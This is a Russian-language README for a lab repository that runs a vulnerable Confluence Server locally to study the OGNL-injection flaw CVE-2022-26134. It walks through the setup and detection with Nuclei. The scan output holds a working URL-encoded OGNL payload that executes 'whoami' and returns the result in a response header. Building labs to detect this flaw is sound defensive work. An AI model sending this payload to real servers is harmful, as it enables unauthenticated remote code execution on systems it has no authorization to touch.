CVE-2022-26134-LAB
Confluence Server и Confluence Data Center содержат критическую неаутентифицированную уязвимость удаленного выполнения кода, идентифицированную как CVE-2022-26134, согласно сообщению службы безопасности Atlassian от 2 июня 2022 года. Уязвимость не была исправлена на момент публикации 2 июня и активно эксплуатировалась в реальных условиях. По состоянию на 3 июня стали доступны как исправления, так и временное решение.
Этот репозиторий предназначен только для экспериментальных и образовательных целей.
Зависимости
Уязвимая среда Confluence
Запуск уязвимой среды
После запуска вы можете получить доступ к серверу Confluence по следующему URL-адресу:
http://127.0.0.1:8090/
Настройка сервера Confluence
- При первом посещении сайта вы пройдете через настройку.
- Не устанавливайте никакие флажки и нажмите «Далее» на странице «Получить приложения».
- На странице лицензионного ключа нажмите на ссылку «Получить ознакомительную лицензию».
- Вы будете перенаправлены на my.atlassian.com. Убедитесь, что выбран тип лицензии Confluence (Data Center). Введите любое название организации. Убедитесь, что переключатель «Ваш экземпляр» установлен в положение «работает». После проверки этих деталей нажмите кнопку «Сгенерировать лицензию».
- Появится модальное окно подтверждения с вопросом, хотите ли вы установить лицензию на сервер: 127.0.0.1. Выберите «Да».
- Выбор «Да» автоматически заполнит лицензионный ключ на вашем локальном экземпляре Confluence. Нажмите «Далее».
- Выберите тип развертывания «Автономный» и нажмите «Далее».
- На странице настройки базы данных детали должны быть заполнены следующим образом:
- Тип базы данных: PostgreSQL
- Тип установки: Простой
- Имя хоста: db
- Порт: 5432
- Имя базы данных: confluence
- Имя пользователя: confluence
- Пароль: 123456789
- После заполнения этих полей нажмите кнопку «Проверить соединение». Вы должны получить сообщение «Успешно! База данных подключена успешно». Затем нажмите «Далее».
- Начнется настройка базы данных. Это может занять некоторое время. Подождите.
- После завершения настройки базы данных вы попадете на страницу «Загрузка контента». Нажмите кнопку «Пример сайта».
- Затем на странице «Настройка управления пользователями» выберите «Управление пользователями и группами с помощью Confluence».
- Далее на странице «Настройка учетной записи системного администратора» создайте учетную запись и нажмите «Далее».
- После завершения вы увидите, что настройка прошла успешно. Нажмите «Начать».
- Вас попросят «Создать пространство для хранения ваших материалов». Введите любое название пространства.
- Пропустите обучение.
- Теперь вы завершили ознакомительную настройку сервера Confluence.
Обнаружение CVE-2022-26134
Уязвимость представляет собой внедрение OGNL, затрагивающее HTTP-сервер. Полезная нагрузка OGNL помещается в URI HTTP-запроса. Похоже, что работает любой тип HTTP-метода: как корректный (GET, POST, PUT и т. д.), так и некорректный (например, «BALH»).
https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
Использование Nuclei
Выполните следующую команду Nuclei:
nuclei -u http://127.0.0.1:8090 -t nuclei-templates/cves/2022/CVE-2022-26134.yaml
Результат сканирования
[CVE-2022-26134] [http] [critical] http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ [confluence]
skhalsa-sigsci/cve-2022-26134-lab
